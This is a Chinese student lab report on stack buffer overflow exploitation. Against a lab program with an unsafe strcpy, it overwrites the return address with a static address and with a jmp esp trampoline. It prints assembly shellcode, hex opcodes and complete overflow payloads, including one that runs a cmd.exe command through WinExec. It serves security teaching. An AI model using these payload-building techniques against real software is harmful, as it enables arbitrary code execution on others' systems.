目标

​ 探索和理解系统和应用程序的安全性弱点,以了解如何潜在地通过恶意 shellcode 执行操作系统或应用程序中的非授权操作。了解shellcode注入原理,理解给出的弹出对话框的汇编代码,通过淹没静态地址来实现shellcode的代码植入,通过跳板来实现shellcode的代码植入,尝试修改汇编语句的shellcode实现修改标题等简单操作

测试步骤与结果

了解shellcode注入原理

​ Shellcode 注入是一种计算机安全领域中的术语,指的是将恶意代码(shellcode)注入到目标计算机系统或应用程序中,以实现各种恶意活动。这种技术通常用于渗透测试、恶意软件编写、漏洞利用和攻击等领域。以下是 shellcode 注入的一般原理:

​ Shellcode 注入的原理是将精心构建的二进制代码(通常是汇编语言编写)注入到目标系统或应用程序的内存空间中,然后执行该代码以实现攻击者所期望的功能。这个过程通常包括以下步骤:

  1. 寻找目标: 攻击者首先需要确定目标系统或应用程序中的漏洞或弱点,以确定可以注入 shellcode 的入口点。这可能包括查找已知漏洞、分析网络流量、审计应用程序代码或其他手段。

  2. 构建 shellcode: 攻击者编写 shellcode,这是一段精心编写的二进制代码,通常使用汇编语言编写。Shellcode 的目标是在目标系统中执行恶意操作,例如获取控制权、执行命令、绕过安全措施等。

  3. 选择注入点: 攻击者需要确定在目标系统或应用程序中注入 shellcode 的位置。这可能是一个缓冲区溢出漏洞、输入验证错误、未经授权的访问点或其他漏洞。

  4. 注入 shellcode: 一旦找到合适的注入点,攻击者将 shellcode 注入到目标系统或应用程序的内存中。这通常涉及到向特定内存地址写入 shellcode 字节。

  5. 触发 shellcode: 一旦 shellcode 被成功注入,攻击者需要触发执行它。这可能包括利用漏洞、诱使用户执行恶意操作或者其他方法。

  6. 实现攻击目标: 一旦 shellcode 被执行,攻击者可以执行恶意操作,例如获取系统访问权限、下载其他恶意软件、窃取敏感信息等,具体取决于 shellcode 的目标。

理解给出的shellcode的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx
push 0x74707562 //bupt
push 0x74707562 //bupt

mov eax,esp
push ebx
push eax
push eax
push ebx

mov eax,0x77E23D68 //messageboxA 入口地址
call eax
push ebx
mov eax,0x77E7B0BB //exitprocess 入口地址
call eax
}
return 0;
}

​ 首先通过 LoadLibrary函数加载 user32.dll 动态链接库。之后通过sub sp,0x440为这段shellcode开辟了一块0x440字节大小的区域来存放二进制编码。将ebx置零后进行入栈操作,接着又将我们要在对话框中定义的内容进行了入栈操作,接着又把一些用于设置 MessageBoxA 函数的参数依次压入堆栈,最后把我们要执行的 MessageBoxA函数入口地址赋值给eax,执行这个函数。在执行 MessageBoxA函数之后,又把0压入栈中,并调用ExitProcess 函数,shellcode结束。

淹没静态地址实现shellcode的代码植入

寻找 MessageBoxA 及 ExitProcess 实际地址

​ 由于不同电脑的user32.dll的位置不同,加载时候的函数地址也不同,所以需要先进行寻找。使用ida的动态调试功能,找到加载的模块,在这之中再找到kernel32.dll和user32.dll,分别进入其中去寻找MessageBoxA 及 ExitProcess的地址

1

MessageBoxA 实际地址为75D00FF0

3

ExitProcess实际地址为75A24650

2

获取 shell code opcode

​ 之前的shellcode代码中两地址位置不是在本机的地址,所以在修改之后对shellcode.cpp进行编译,再分析编译后的exe文件,从而找到shellcode对应的机器码,修改后的cpp文件如下

4

将其在32系统下编译后使用x96dbg进行分析

5

​ 找到我们所需要的那一段汇编语言,并对照其地址找到对应的二进制编码:33 DB 53 68 62 75 70 74 68 62 75 70 74 8B C4 53 50 50 53 B8 F0 0F D0 75 FF D0 53 B8 50 46 A2 75 FF D0

6

定位strcpy函数与返回地址位置

​ 结合ida中的伪代码,我们找到了strcpy函数的位置,看得出来这里存在栈溢出漏洞,我们只需找到返回地址的位置,编写shellcode进行栈溢出攻击即可

7

​ 我们预先在password.txt文件中写入123,执行完strcpy函数之后我们可以找到这段参数写在哪里,以此来判断缓冲区从哪里开始。查看此时的EBP与内存,可以找到栈帧的地址:

8

​ 文件中的123被复制在栈顶,栈底保存着返回地址,从图中看出来我们只需要写52字节的shellcode就可以把栈帧填满,而在这之后再写入四个字节的地址就可以把原函数的返回地址淹没掉替换为我们想要执行的shellcode的地址

构造password.txt

​ 我们注入的shellcode起始于0019FAA0地址处,因此其最后的四字节应写为A0 FA 19 00,而shellcode要求为56字节,所以其余字节要用空白符号(x90)填充,最终的shellcode机器码为:

1
2
3
4
5
33 DB 53 68 62 75 70 74 68 62 75 70 74 
8B C4 53 50 50 53 B8 F0 0F D0 75 FF D0
53 B8 50 46 A2 75 FF D0 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
A0 FA 19 00

转换为字符写入password.txt:

1
3跾hbupthbupt嬆SPPS葛衭蠸窹F袗悙悙悙悙悙悙悙悙悹? 

完成shellcode注入

​ 修改password.txt后执行程序

9

可以看到返回地址成功被淹没,并且能够成功运行shellcode完成对话框的弹出:

10

修改原理的图示

67572814710700ff871a0c88bfe374f

通过跳板来实现shellcode的代码植入

跳板注入原理

​ ESP (Extended Stack Pointer) 是 x86 架构中的一个寄存器,用于指向堆栈的顶部。在堆栈操作中,它经常被用来跟踪堆栈的当前位置。当新的数据被压入堆栈时,ESP 会递减(因为在大多数现代操作系统中,堆栈是从高地址向低地址增长),而当数据从堆栈弹出时,ESP 会递增。

​ 在发生缓冲区溢出时,esp 通常指向或接近溢出的数据。这意味着,如果一个攻击者可以在某个地方找到 jmp esp 指令并将返回地址覆盖为该指令的地址,那么执行流将会跳转到 esp 当前指向的位置,也就是溢出的数据,也可能是攻击者注入的shellcode。

寻找jmp esp指令地址

​ 直接搜索所有区域的jmp esp命令即可,从中选一个作为我们要写入shellcode的地址,这里我们选了地址 75E4FF3D

11

构造password.txt

​ 我们在第一个实验中已经分析过需要52字节就可以填缓冲区,接着我们用jmp esp地址替换掉返回地址,并紧接着写上我们的shellcode函数的机器码,这样就可以使得在此函数返回时候调用此时esp指向的我们的shellcode的位置并执行,前52字节数据为任意字符即可,构造出的password.txt如下

1
2
3
4
5
6
7
90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
3D FF E4 75 33 DB 53 68 62 75 70 74 68
62 75 70 74 8B C4 53 50 50 53 B8 F0 0F
D0 75 FF D0 53 B8 50 46

转化为字符后写入password.txt:

1
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙=鋟3跾hbupthbupt嬆SPPS葛衭蠸窹F

完成shellcode注入

​ 执行到原函数的ret处,可以看到返回地址已经被替换为jmp esp指令地址处,继续执行下去会跳转到jmp esp地址处

12

13

​ 在跳转到jmp esp地址处之后我们看到寄存器中esp的值为0019FAD8,这个地址正好是我们的shellcode存储的位置,因此在执行jmp esp命令之后会开始运行我们的shellcode

14

继续运行可以看到跳到了我们的shellcode位置并成功执行

15

修改原理图示

ef7084f1637f7428b0db67f52c63c02

修改汇编语句的shellcode实现修改标题等

修改语句

​ 经过查阅资料,我们知道了MessageBoxA的参数说明如下

1
2
3
4
5
6
7
int MessageBoxA(
HWND hWnd, // 句柄,指定消息框的所有者窗口。通常是父窗口的句柄,如果没有父窗口,则可以使用 NULL。
LPCSTR lpText, // 字符串,要在消息框中显示的文本内容。
LPCSTR lpCaption, // 字符串,消息框的标题。
UINT uType // 指定消息框的样式,例如按钮和图标的类型。可以是一个或多个常量的组合。
);

​ 我们就可以依据这个说明改写我们的对话框中的内容和标题首先被push入的是uType,也就是ebx,为0。接着要被push入的是消息框的标题,在标题全部入栈之后将正文入栈,然后按照四个参数顺序依次push入函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include<windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[12] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ecx,ecx
xor ebx,ebx
push ebx
push 0x20203232 //22
push 0x30323132 //2120
push 0x31323032 //2021
mov ecx,esp //将esp复制到ecx处

push ebx //作为字符串的终止符
push 0x656E6F64 //done
push 0x2D736168 //has-
push 0x2D6E4972 //rIn-
push 0x614D744B //KtMa
mov edx,esp //将esp复制到edx处

push ebx
push ecx
push edx
push ebx

mov eax,0x75D00FF0 //messageboxA 入口地址
call eax
push ebx
mov eax,0x75A24650 //exitprocess 入口地址
call eax
}
return 0;
}

这段代码会弹出一个对话框,标题为我的学号-2021212022-,正文为’KtMarIn-has-done’,编译以上代码之后通过exe文件找到新的shellcode的机器码,方法同之前的实验:

16

17

找到我们汇编代码的位置,根据内存地址找到机器码位置并复制得到我们shellcode的编码:

1
2
3
4
5
33 C9 33 DB 53 68 30 32 32 2D 68 31 32 
31 32 68 2D 32 30 32 8B CC 53 68 64 6F
6E 65 68 68 61 73 2D 68 72 49 6E 2D 68
4B 74 4D 61 8B D4 53 51 52 53 B8 F0 0F
D0 75 FF D0 53 B8 50 46 A2 75 FF D0

构造password.txt

我希望再次使用跳板的方法来实现shellcode的注入,所以这里构造内容为:

1
2
3
4
5
6
7
8
9
10
90 90 90 90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
3D FF E4 75 33 C9 33 DB 53 68 30 32 32
2D 68 31 32 31 32 68 2D 32 30 32 8B CC
53 68 64 6F 6E 65 68 68 61 73 2D 68 72
49 6E 2D 68 4B 74 4D 61 8B D4 53 51 52
53 B8 F0 0F D0 75 FF D0 53 B8 50 46 A2
75 FF D0

转换成字符串后保存在password.txt中:

1
悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙=鋟3?跾h022-h1212h-202嬏Shdonehhas-hrIn-hKtMa嬙SQRS葛衭蠸窹F?

完成shellcode注入

运行至原函数的ret处,看到能够正确跳转到我们的shellcode所在位置并正确弹出对话框,看到标题为-2021212022-,内容为KtMarIn has done,成功修改

18

测试结论

​ 通过进行shellcode注入实验,我们深入了解了软件安全领域中的一个关键问题:缓冲区溢出漏洞以及如何利用这些漏洞进行shellcode的注入。实验中我们通过两种方式进行shellcode代码的注入,同时还让我们了解了如何利用汇编语言实现对程序的控制,对对话框的编辑。

​ 这个实验对我们的安全意识和软件安全知识的认识有着重要的作用,了解到了Shellcode是一段经过精心设计的汇编代码,可以被注入到漏洞程序中并在系统上执行。同时还让我意识到缺乏适当的安全措施会让恶意用户滥用漏洞,导致数据泄漏、系统崩溃、服务中断等问题,因此,开发和维护安全软件至关重要。总的来说,这个实验提高了我们的安全意识,使我们更加了解软件安全的复杂性和重要性。通过了解攻击者的思维方式,我们也能更好地保护自己的软件和系统,避免成为潜在的攻击目标。

附加题

目标

在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过记事本打开shellcode.txt

寻找jmp esp地址

通过搜索命令可以找到一个jmp esp命令,地址为75E4FF3D

1

定位strcpy函数与返回地址位置

strcpy函数和ret函数位置如下,在复制后会将其保存在0019FF18处,向下溢出到0019FF24处即可把返回地址覆盖

2

3

寻找Winexec实际地址

通过ida找到kernel32.dll中的Winexec实际地址在75A5CF20

4

构造打开文件的命令

​ 查阅相关文件得知,WinExec函数是一个过时的函数,通常用于在 Windows 操作系统下执行一个命令行字符串。它接受一个命令行字符串参数和一个显示参数,并且它的返回值是一个整数,代表命令的执行结果,结构为:

1
2
3
4
UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);
  • lpCmdLine:这是一个指向包含要执行的命令行字符串的 null 结尾的 C 字符串的指针。这个字符串通常包括可执行文件的路径和参数。要运行记事本并打开 shellcode.txt 文件,就可以将 lpCmdLine 设置为 "notepad.exe pass.txt"
  • uCmdShow:这是一个整数,用于指定应用程序窗口的显示方式。通常情况下,SW_SHOWDEFAULTSW_SHOWNORMAL 用于显示正常的窗口。

于是我们就可以构造一条命令来完成我们用记事本打开shellcode.txt文件的目的,

1
WinExec("cmd.exe /k notepad.exe shellcode.txt", SW_SHOWNORMAL)

第二个参数我们在不输入的情况下默认为SW_SHOWNORMAL,因此我们在编写shellcode汇编代码时候只需要将第一个参数的编码push入栈即可,cmd.exe /k notepad.exe shellcode.txt转换为十六进制编码即为:

1
2
3
4
5
63 6d 64 2e 65 78 65 20 
2f 6b 20 6e 6f 74 65 70
61 64 2e 65 78 65 20 73
68 65 6c 6c 63 6f 64 65
2e 74 78 74

编写shellcode汇编代码并其机器码

仿照之前给出的shellcode代码编写如下的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>

int main() {
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll"; // 增加一个字节以容纳字符串终止符
LibHandle = LoadLibrary(dllbuf);

_asm {
sub esp, 0x440
xor ebx, ebx
push ebx
push 0x7478742E
push 0x65646F63
push 0x6C6C6568
push 0x73206578
push 0x652E6461
push 0x7065746F
push 0x6E206B2F
push 0x20657865
push 0x2E646D63
mov eax, esp //之前一直在push入第一个参数的值,所以此时esp指向的就是第一个参数的地址

push ebx //push 0进入
push eax //push第一个参数地址进入
mov eax, 0x75A5CF20 //Winexec 入口地址
call eax
}
return 0;
}

编译后试着运行,发现能够正常打开shellcode.txt文件,代码编写正确。接下来用x96dbg打开找到代码位置并获取其机器码

5

6

shell code opcode如下

1
33 DB 53 68 2E 74 78 74 68 63 6F 64 65 68 68 65 6C 6C 68 78 65 20 73 68 61 64 2E 65 68 6F 74 65 70 68 2F 6B 20 6E 68 65 78 65 20 68 63 6D 64 2E 8B C4 53 50 B8 20 CF A5 75 FF D0

编写flood代码

之前在定位strcpy函数时候就发现缓冲区为12字节,我们写入任意的数据在这12字节中即可,十二字节之后就是返回地址,我们把这个返回地址淹没为jmp esp地址,并紧接着写入我们的shell code opcode即可,因此得到的输入串的机器码为

1
2
3
4
5
6
7
90 90 90 90 90 90 90 90 90 90 90 90
3D FF E4 75 33 DB 53 68 2E 74 78 74
68 63 6F 64 65 68 68 65 6C 6C 68 78
65 20 73 68 61 64 2E 65 68 6F 74 65
70 68 2F 6B 20 6E 68 65 78 65 20 68
63 6D 64 2E 8B C4 53 50 B8 20 CF A5
75 FF D0

将其转为字符并写入命令行的参数位置

1
悙悙悙悙悙悙=鋟3跾h.txthcodehhellhxe shad.ehoteph/k nhexe hcmd.嬆SP?膝u?

由于这段字符中有空格,所以我们在输入命令行时候需要加上双引号

完成shellcode注入

我们执行到ret函数时候看到此处的返回地址已经被替换为我们需要的jmp esp的地址

7

在跳转之后也顺利来到了jmp esp指令处进行了跳转

8

执行jmp esp后来到了我们的shellcode处,顺利完成执行,通过记事本方式打开了我们的shellcode.txt文件

9